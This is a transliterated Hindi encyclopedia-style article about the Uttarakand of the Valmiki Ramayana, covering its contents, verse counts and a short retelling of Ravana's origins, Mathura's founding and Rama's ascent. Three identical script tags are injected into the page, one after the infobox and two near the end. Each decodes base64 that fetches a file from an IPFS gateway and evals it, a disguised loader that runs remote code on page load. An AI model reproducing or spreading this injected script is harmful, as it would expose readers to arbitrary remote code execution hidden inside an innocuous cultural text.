उत्तर काण्ड वा. रा.

uttar kand va. ra.
valmiki ramayan|200px|center
vivaran	'ramayan' lagabhag chaubis hazar shlokoan ka ek anupam mahakavy hai, jisake madhyam se raghu vansh ke raja ram ki gatha kahi gayi hai.
rachanakar	maharshi valmiki
rachanakal	treta yug
bhasha	sanskrit
mukhy patr	ram, lakshman, sita, hanuman, sugriv, aangad, meghanad, vibhishan, kumbhakarn aur ravan.
sat kand	balakand, ayodhyakand, aranyakand, kishkindhakand, sundarakand, yuddhakand (lankakand), uttarakand.
sanbandhit lekh	ramacharitamanas, ramalila, pum chariu, ramayan samany jnan, bharat milap.
any janakari	ramayan ke sat kandoan mean kathit sargoan ki ganana karane par sampoorn ramayan mean 645 sarg milate haian. sarganusar shlokoan ki sankhya 23,440 ati hai, jo 24,000 se 560 shlok kam hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttarakand valmiki dvara rachit prasiddh hindoo granth 'ramayan' aur gosvami tulasidas krit 'shriramacharitamanas' ka ek bhag (kand ya sopan) hai.

sarg tatha shlok

uttarakand mean ram ke rajyabhishek ke anantar kaushikadi maharshiyoan ka agaman, maharshiyoan ke dvara ram ko ravan ke pitamah, pita tatha ravan ka janmadi vrittant sunana, sumali tatha malyavan ke vrittant, ravan, kumbhakarn, vibhishan adi ka janm-varnan, ravanadi sabhi bhaiyoan ko brahma se varadan-prapti, ravan-parakram-varnan ke prasang mean kuberadi devataoan ka gharshan, ravan sambandhit anek kathaean, sita ke poorvajanm roop vedavati ka vrittant, vedavati ka ravan ko shap, sahastrabahu arjun ke dvara narmada avarodh tatha ravan ka bandhan, ravan ka bali se yuddh aur bali ki kaankh mean ravan ka bandhan, sita-parityag, sita ka valmiki ashram mean nivas, nimi, nahush, yayati ke charit, shatrughn dvara lavanasur vadh, shanbook vadh tatha brahman putr ko jivan prapti, bhargav charit, vritrasur vadh prasang, kianpurushotpatti katha, ram ka ashvamedh yajn, valmiki ke sath ram ke putr lav kush ka ramayan gate hue ashvamedh yajn mean pravesh, ram ki ajna se valmiki ke sath ayi sita ka ram se milan, sita ka rasatal mean pravesh, bharat, lakshman tatha shatrughn ke putroan ka parakram varnan, durvasa-ram sanvad, ram ka sasharir svargagaman, ram ke bhrataoan ka svargagaman, tatha devataoan ka ram ka poojan vishesh adi varnit hai.

uttarakand mean 111 sarg tatha 3,432 shlok prapt hote haian. brihaddharmapuran ke anusar is kand ka path anandatmak karyoan, yatra adi mean kiya jata hai-

y: pathechchhrinuyadh vapi kandamabhyudayottaramh.
anandakarye yatrayaan s jayi paratoatr va॥

sankshipt katha

narad ji kahate haian- jab raghunath ji ayodhya ke rajasianhasan par asin ho gaye, tab agasty adi maharshi unaka darshan karane ke liye gaye. vahaan unaka bhali-bhaanti svagat-satkar hua. tadanantar un rrishiyoan ne kaha- "bhagavan! ap dhany haian, jo lanka mean vijayi hue aur indrajit jaise rakshas ko mar giraya. ab ham unaki utpatti katha batalate haian, suniye-

"brahma ke putr munivar pulasty hue aur pulasty se maharshi vishrava ka janm hua. unaki do patniyaan thian- punyotkata aur kaikasi. unamean punyotkata jyeshth thi. usake garbh se dhanadhyaksh kuber ka janm hua. kaikasi ke garbh se pahale ravan ka janm hua, jisake das mukh aur bis bhujaean thian. ravan ne tapasya ki aur brahma ji ne use varadan diya, jisase usane samast devataoan ko jit liya. kaikasi ke doosare putr ka nam kumbhakarn aur tisare ka vibhishan tha. kumbhakarn sada niand mean hi p da rahata tha; kiantu vibhishan b de dharmatma hue. in tinoan ki bahan shoorpanakha huee. ravan se meghanad ka janm hua. usane indr ko jit liya tha, isaliye 'indrajit' ke nam se usaki prasiddh huee. vah ravan se bhi adhik balavan tha. parantu devataoan adi ke kalyan ki ichchha rakhane vale apane lakshman ke dvara usaka vadh kara diya." aisa kahakar ve agasty adi brahmarshi shriraghunath ji ke dvara abhinandit ho apane-apane ashram ko chale gaye.

mathura nagari ki sthapana

devataoan ki prarthana se prabhavit shriramachandr ji ke adesh se shatrughn ne lavanasur ko mar kar ek puri basayi, jo 'mathura' nam se prasiddh huee. tatpashchath bharat ne shriram ki ajna pakar sindhu-tir-nivasi shailoosh namak balonmatt gandharv ka tatha usake tin karo d vanshajoan ka apane tikhe banoan se sanhar kiya. phir us desh ke (gandhar aur madr) do vibhag karake, unamean apane putr taksh aur pushkar ko sthapit kar diya.

shriram ka paramadham gaman

isake bad bharat aur shatrughn ayodhya mean chale aye aur vahaan shriraghunath ji ki aradhana karate hue rahane lage. shriramachandr ji ne dusht purushoan ka yuddh mean sanhar kiya aur shisht purushoan ka dan adi ke dvara bhali-bhaanti palan kiya. unhoanne lokapavad ke bhay se apani dharmapatni sita ko van mean chho d diya tha. vahaan valmiki muni ke ashram mean unake garbh se do shreshth putr utpann hue, jinake nam kush aur lav the. unake uttam charitroan ko sunakar shriramachandr ji ko bhali-bhaanti nishchay ho gaya ki ye mere hi putr haian. tatpashchath un donoan ko kosal ke do rajyoan par abhishikt karake, "maian brahm hooan" isaki bhavanapoorvak prarthana se bhaiyoan aur puravasiyoan sahit apane paramadham mean pravesh kiya. ayodhya mean gyarah hazar varshoan tak rajy karake ve anek yajnoan ka anushthan kar chuke the. unake bad sita ke putr kosal janapad ke raja hue. agnidev kahate haian- "vasishth ji! devarshi narad se yah katha sunakar maharshi valmiki ne vistar poorvak 'ramayan' namak mahakavy ki rachana ki. jo is prasang ko sunata hai, vah svarg lok ko jata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>